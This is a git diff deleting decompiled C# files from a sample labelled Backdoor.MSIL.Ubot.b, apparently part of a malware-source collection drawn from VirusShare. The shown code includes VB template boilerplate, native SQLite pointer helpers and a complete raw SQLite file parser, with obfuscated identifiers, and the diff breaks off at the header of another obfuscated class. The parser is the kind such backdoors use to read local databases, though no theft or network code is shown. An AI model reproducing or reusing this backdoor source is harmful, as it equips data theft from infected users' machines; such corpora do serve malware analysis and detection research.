objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_blob(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber)); - break; - default: - objArray[columnNumber] = (object) ""; - break; - } - checked { ++columnNumber; } - } - WCelvwBgEsajtdaulPPorkGkYgfnpq.Rows.Add(objArray); - return Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD); - } - - private IntPtr StringToPointer(string str) - { - if (str == null) - return IntPtr.Zero; - byte[] bytes = Encoding.UTF8.GetBytes(str); - int lmwXcoftBrueIDsqQpslhlanGoQRna = checked (bytes.Length + 1); - IntPtr pointer = Base.HeapAlloc(Base.GetProcessHeap(), 0U, checked ((uint) lmwXcoftBrueIDsqQpslhlanGoQRna)); - Marshal.Copy(bytes, 0, pointer, bytes.Length); - Marshal.WriteByte(pointer, bytes.Length, (byte) 0); - return pointer; - } - - private string PointerToString(IntPtr ptr) - { - if (ptr == IntPtr.Zero) - return (string) null; - Encoding utF8 = Encoding.UTF8; - int pointerLenght = this.GetPointerLenght(ptr); - byte[] numArray = new byte[checked (pointerLenght - 1 + 1)]; - Marshal.Copy(ptr, numArray, 0, pointerLenght); - return utF8.GetString(numArray, 0, pointerLenght); - } - - private int GetPointerLenght(IntPtr ptr) => ptr == IntPtr.Zero ? 0 : Base.lstrlen(ptr); - - public enum SQLiteDataTypes - { - INT = 1, - FLOAT = 2, - TEXT = 3, - BLOB = 4, - NULL = 5, - } -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyApplication.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyApplication.cs deleted file mode 100644 index c2813f4b..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5F9554D6-83E0-47C2-9D3F-094C1F4E42EE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyComputer.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyComputer.cs deleted file mode 100644 index 1216b516..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5F9554D6-83E0-47C2-9D3F-094C1F4E42EE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyProject.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyProject.cs deleted file mode 100644 index 479bf468..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5F9554D6-83E0-47C2-9D3F-094C1F4E42EE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/SQLiteHandler.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/SQLiteHandler.cs deleted file mode 100644 index 22e741ce..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/SQLiteHandler.cs +++ /dev/null @@ -1,427 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SQLiteHandler -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5F9554D6-83E0-47C2-9D3F-094C1F4E42EE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Text; - -public class SQLiteHandler -{ - private byte[] db_bytes; - private ushort page_size; - private ulong encoding; - private SQLiteHandler.sqlite_master_entry[] master_table_entries; - private byte[] SQLDataTypeSize; - private SQLiteHandler.table_entry[] table_entries; - private string[] field_names; - - private int GVL(int startIndex) - { - if (startIndex > this.db_bytes.Length) - return 0; - int num1 = startIndex; - int num2 = checked (startIndex + 8); - int index = num1; - while (index <= num2) - { - if (index > checked (this.db_bytes.Length - 1)) - return 0; - if (((int) this.db_bytes[index] & 128) != 128) - return index; - checked { ++index; } - } - return checked (startIndex + 8); - } - - private long CVL(int startIndex, int endIndex) - { - checked { ++endIndex; } - byte[] numArray = new byte[8]; - object Left = (object) checked (endIndex - startIndex); - bool flag = false; - if (Conversions.ToBoolean(Operators.OrObject(Operators.CompareObjectEqual(Left, (object) 0, false), Operators.CompareObjectGreater(Left, (object) 9, false)))) - return 0; - if (Operators.ConditionalCompareObjectEqual(Left, (object) 1, false)) - { - numArray[0] = checked ((byte) ((int) this.db_bytes[startIndex] & (int) sbyte.MaxValue)); - return BitConverter.ToInt64(numArray, 0); - } - if (Operators.ConditionalCompareObjectEqual(Left, (object) 9, false)) - flag = true; - int num1 = 1; - int num2 = 7; - int index1 = 0; - if (flag) - { - numArray[0] = this.db_bytes[checked (endIndex - 1)]; - checked { --endIndex; } - index1 = 1; - } - int num3 = checked (endIndex - 1); - int num4 = startIndex; - int index2 = num3; - while (index2 >= num4) - { - if (checked (index2 - 1) >= startIndex) - { - numArray[index1] = checked ((byte) ((int) unchecked ((byte) ((uint) this.db_bytes[index2] >> (checked (num1 - 1) & 7))) & (int) byte.MaxValue >> num1 | (int) unchecked ((byte) ((uint) this.db_bytes[checked (index2 - 1)] << (num2 & 7))))); - checked { ++num1; } - checked { ++index1; } - checked { --num2; } - } - else if (!flag) - numArray[index1] = checked ((byte) ((int) unchecked ((byte) ((uint) this.db_bytes[index2] >> (checked (num1 - 1) & 7))) & (int) byte.MaxValue >> num1)); - checked { index2 += -1; } - } - return BitConverter.ToInt64(numArray, 0); - } - - private bool IsOdd(long value) => (value & 1L) == 1L; - - private ulong ConvertToInteger(int startIndex, int Size) - { - if (Size > 8 | Size == 0) - return 0; - ulong integer = 0; - int num1 = checked (Size - 1); - int num2 = 0; - while (num2 <= num1) - { - integer = integer << 8 | (ulong) this.db_bytes[checked (startIndex + num2)]; - checked { ++num2; } - } - return integer; - } - - private void ReadMasterTable(ulong Offset) - { - if (this.db_bytes[checked ((int) Offset)] == (byte) 13) - { - ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); - int num1 = 0; - if (this.master_table_entries != null) - { - num1 = this.master_table_entries.Length; - this.master_table_entries = (SQLiteHandler.sqlite_master_entry[]) Utils.CopyArray((Array) this.master_table_entries, (Array) new SQLiteHandler.sqlite_master_entry[checked (this.master_table_entries.Length + (int) uint16 + 1)]); - } - else - this.master_table_entries = new SQLiteHandler.sqlite_master_entry[checked ((int) uint16 + 1)]; - int num2 = (int) uint16; - int num3 = 0; - while (num3 <= num2) - { - ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(checked (num3 * 2)))), 2); - if (Decimal.Compare(new Decimal(Offset), 100M) != 0) - checked { integer += Offset; } - object Left1 = (object) this.GVL(checked ((int) integer)); - this.CVL(checked ((int) integer), Conversions.ToInteger(Left1)); - object Left2 = (object) this.GVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1))); - this.master_table_entries[checked (num1 + num3)].row_id = this.CVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)), Conversions.ToInteger(Left2)); - ulong startIndex = Conversions.ToULong(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left2, (object) integer)), (object) 1)); - object obj1 = (object) this.GVL(checked ((int) startIndex)); - object Left3 = RuntimeHelpers.GetObjectValue(obj1); - long num4 = this.CVL(checked ((int) startIndex), Conversions.ToInteger(obj1)); - long[] numArray = new long[5]; - int index = 0; - do - { - object obj2 = Operators.AddObject(Left3, (object) 1); - Left3 = (object) this.GVL(Conversions.ToInteger(obj2)); - numArray[index] = this.CVL(Conversions.ToInteger(obj2), Conversions.ToInteger(Left3)); - numArray[index] = numArray[index] <= 9L ? (long) this.SQLDataTypeSize[checked ((int) numArray[index])] : (!this.IsOdd(numArray[index]) ? checked ((long) Math.Round(unchecked ((double) checked (numArray[index] - 12L) / 2.0))) : checked ((long) Math.Round(unchecked ((double) checked (numArray[index] - 13L) / 2.0)))); - checked { ++index; } - } - while (index <= 4); - if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) - this.master_table_entries[checked (num1 + num3)].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0])); - else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) - this.master_table_entries[checked (num1 + num3)].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0])); - else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) - this.master_table_entries[checked (num1 + num3)].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0])); - if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) - this.master_table_entries[checked (num1 + num3)].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1])); - else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) - this.master_table_entries[checked (num1 + num3)].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1])); - else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) - this.master_table_entries[checked (num1 + num3)].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1])); - this.master_table_entries[checked (num1 + num3)].root_num = checked ((long) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2]))), (int) numArray[3])); - if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) - this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4])); - else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) - this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4])); - else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) - this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4])); - checked { ++num3; } - } - } - else - { - if (this.db_bytes[checked ((int) Offset)] != (byte) 5) - return; - int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); - int num = 0; - while (num <= uint16) - { - ushort integer = checked ((ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(num * 2))), 2)); - if (Decimal.Compare(new Decimal(Offset), 100M) == 0) - this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger((int) integer, 4)), 1M), new Decimal((int) this.page_size)))); - else - this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(checked ((int) (Offset + (ulong) integer)), 4)), 1M), new Decimal((int) this.page_size)))); - checked { ++num; } - } - this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size)))); - } - } - - private bool ReadTableFromOffset(ulong Offset) - { - if (this.db_bytes[checked ((int) Offset)] == (byte) 13) - { - ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); - int num1 = 0; - if (this.table_entries != null) - { - num1 = this.table_entries.Length; - this.table_entries = (SQLiteHandler.table_entry[]) Utils.CopyArray((Array) this.table_entries, (Array) new SQLiteHandler.table_entry[checked (this.table_entries.Length + (int) uint16 + 1)]); - } - else - this.table_entries = new SQLiteHandler.table_entry[checked ((int) uint16 + 1)]; - int num2 = (int) uint16; - int num3 = 0; - while (num3 <= num2) - { - ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(checked (num3 * 2)))), 2); - if (Decimal.Compare(new Decimal(Offset), 100M) != 0) - checked { integer += Offset; } - object Left1 = (object) this.GVL(checked ((int) integer)); - this.CVL(checked ((int) integer), Conversions.ToInteger(Left1)); - object Left2 = (object) this.GVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1))); - this.table_entries[checked (num1 + num3)].row_id = this.CVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)), Conversions.ToInteger(Left2)); - ulong num4 = Conversions.ToULong(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left2, (object) integer)), (object) 1)); - object Right1 = (object) this.GVL(checked ((int) num4)); - object Left3 = RuntimeHelpers.GetObjectValue(Right1); - long num5 = this.CVL(checked ((int) num4), Conversions.ToInteger(Right1)); - long Left4 = Conversions.ToLong(Operators.AddObject(Operators.SubtractObject((object) num4, Right1), (object) 1)); - object Left5 = (object) 0; - SQLiteHandler.record_header_field[] arySrc; - while (Left4 < num5) - { - arySrc = (SQLiteHandler.record_header_field[]) Utils.CopyArray((Array) arySrc, (Array) new SQLiteHandler.record_header_field[checked (Conversions.ToInteger(Left5) + 1)]); - object Right2 = Operators.AddObject(Left3, (object) 1); - Left3 = (object) this.GVL(Conversions.ToInteger(Right2)); - arySrc[Conversions.ToInteger(Left5)].type = this.CVL(Conversions.ToInteger(Right2), Conversions.ToInteger(Left3)); - arySrc[Conversions.ToInteger(Left5)].size = arySrc[Conversions.ToInteger(Left5)].type <= 9L ? (long) this.SQLDataTypeSize[checked ((int) arySrc[Conversions.ToInteger(Left5)].type)] : (!this.IsOdd(arySrc[Conversions.ToInteger(Left5)].type) ? checked ((long) Math.Round(unchecked ((double) checked (arySrc[Conversions.ToInteger(Left5)].type - 12L) / 2.0))) : checked ((long) Math.Round(unchecked ((double) checked (arySrc[Conversions.ToInteger(Left5)].type - 13L) / 2.0)))); - Left4 = Conversions.ToLong(Operators.AddObject(Operators.AddObject((object) Left4, Operators.SubtractObject(Left3, Right2)), (object) 1)); - Left5 = Operators.AddObject(Left5, (object) 1); - } - this.table_entries[checked (num1 + num3)].content = new string[checked (arySrc.Length - 1 + 1)]; - int num6 = 0; - int num7 = checked (arySrc.Length - 1); - int index = 0; - while (index <= num7) - { - if (arySrc[index].type > 9L) - { - if (!this.IsOdd(arySrc[index].type)) - { - if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) - this.table_entries[checked (num1 + num3)].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size)); - else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) - this.table_entries[checked (num1 + num3)].content[index] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size)); - else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) - this.table_entries[checked (num1 + num3)].content[index] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size)); - } - else - this.table_entries[checked (num1 + num3)].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size)); - } - else - this.table_entries[checked (num1 + num3)].content[index] = Conversions.ToString(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size))); - num6 = checked ((int) ((long) num6 + arySrc[index].size)); - checked { ++index; } - } - checked { ++num3; } - } - } - else if (this.db_bytes[checked ((int) Offset)] == (byte) 5) - { - int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); - int num = 0; - while (num <= uint16) - { - ushort integer = checked ((ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(num * 2))), 2)); - this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(checked ((int) (Offset + (ulong) integer)), 4)), 1M), new Decimal((int) this.page_size)))); - checked { ++num; } - } - this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size)))); - } - return true; - } - - public bool ReadTable(string TableName) - { - int index1 = -1; - int length = this.master_table_entries.Length; - int index2 = 0; - while (index2 <= length) - { - if (this.master_table_entries[index2].item_name.ToLower().CompareTo(TableName.ToLower()) == 0) - { - index1 = index2; - break; - } - checked { ++index2; } - } - if (index1 == -1) - return false; - object[] objArray1 = (object[]) this.master_table_entries[index1].sql_statement.Substring(checked (this.master_table_entries[index1].sql_statement.IndexOf("(") + 1)).Split(','); - int num = checked (objArray1.Length - 1); - int index3 = 0; - while (index3 <= num) - { - objArray1[index3] = (object) Strings.LTrim(Conversions.ToString(objArray1[index3])); - object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objArray1[index3], (Type) null, "IndexOf", new object[1] - { - (object) " " - }, (string[]) null, (Type[]) null, (bool[]) null)); - if (Operators.ConditionalCompareObjectGreater(objectValue1, (object) 0, false)) - { - object[] objArray2 = objArray1; - int index4 = index3; - object Instance = objArray1[index3]; - object[] objArray3 = new object[2] - { - (object) 0, - RuntimeHelpers.GetObjectValue(objectValue1) - }; - object[] Arguments = objArray3; - bool[] flagArray = new bool[2]{ false, true }; - bool[] CopyBack = flagArray; - object obj = NewLateBinding.LateGet(Instance, (Type) null, "Substring", Arguments, (string[]) null, (Type[]) null, CopyBack); - if (flagArray[1]) - RuntimeHelpers.GetObjectValue(objArray3[1]); - object objectValue2 = RuntimeHelpers.GetObjectValue(obj); - objArray2[index4] = objectValue2; - } - if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(objArray1[index3], (Type) null, "IndexOf", new object[1] - { - (object) "UNIQUE" - }, (string[]) null, (Type[]) null, (bool[]) null), (object) 0, false)) - { - this.field_names = (string[]) Utils.CopyArray((Array) this.field_names, (Array) new string[checked (index3 + 1)]); - this.field_names[index3] = Conversions.ToString(objArray1[index3]); - checked { ++index3; } - } - else - break; - } - return this.ReadTableFromOffset(checked ((ulong) ((this.master_table_entries[index1].root_num - 1L) * (long) this.page_size))); - } - - public int GetRowCount() => this.table_entries.Length; - - public string GetValue(int row_num, int field) - { - if (row_num >= this.table_entries.Length) - return (string) null; - return field >= this.table_entries[row_num].content.Length ? (string) null : this.table_entries[row_num].content[field]; - } - - public string GetValue(int row_num, string field) - { - int field1 = -1; - int length = this.field_names.Length; - int index = 0; - while (index <= length) - { - if (this.field_names[index].ToLower().CompareTo(field.ToLower()) == 0) - { - field1 = index; - break; - } - checked { ++index; } - } - return field1 == -1 ? (string) null : this.GetValue(row_num, field1); - } - - public string[] GetTableNames() - { - object Left = (object) 0; - int num = checked (this.master_table_entries.Length - 1); - int index = 0; - string[] arySrc; - while (index <= num) - { - if (Operators.CompareString(this.master_table_entries[index].item_type, "table", false) == 0) - { - arySrc = (string[]) Utils.CopyArray((Array) arySrc, (Array) new string[checked (Conversions.ToInteger(Left) + 1)]); - arySrc[Conversions.ToInteger(Left)] = this.master_table_entries[index].item_name; - Left = Operators.AddObject(Left, (object) 1); - } - checked { ++index; } - } - return arySrc; - } - - public SQLiteHandler(string baseName) - { - this.SQLDataTypeSize = new byte[10] - { - (byte) 0, - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 6, - (byte) 8, - (byte) 8, - (byte) 0, - (byte) 0 - }; - if (!File.Exists(baseName)) - return; - FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - string s = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref s); - FileSystem.FileClose(1); - this.db_bytes = Encoding.Default.GetBytes(s); - if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0) - throw new Exception("Not a valid SQLite 3 Database File"); - if (this.db_bytes[52] != (byte) 0) - throw new Exception("Auto-vacuum capable database is not supported"); - if (Decimal.Compare(new Decimal(this.ConvertToInteger(44, 4)), 4M) >= 0) - throw new Exception("No supported Schema layer file-format"); - this.page_size = checked ((ushort) this.ConvertToInteger(16, 2)); - this.encoding = this.ConvertToInteger(56, 4); - if (Decimal.Compare(new Decimal(this.encoding), 0M) == 0) - this.encoding = 1UL; - this.ReadMasterTable(100UL); - } - - private struct record_header_field - { - public long size; - public long type; - } - - private struct table_entry - { - public long row_id; - public string[] content; - } - - private struct sqlite_master_entry - { - public long row_id; - public string item_type; - public string item_name; - public string astable_name; - public long root_num; - public string sql_statement; - } -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.cs deleted file mode 100644 index de3ace4d..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.cs +++ /dev/null @@ -1,1566 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 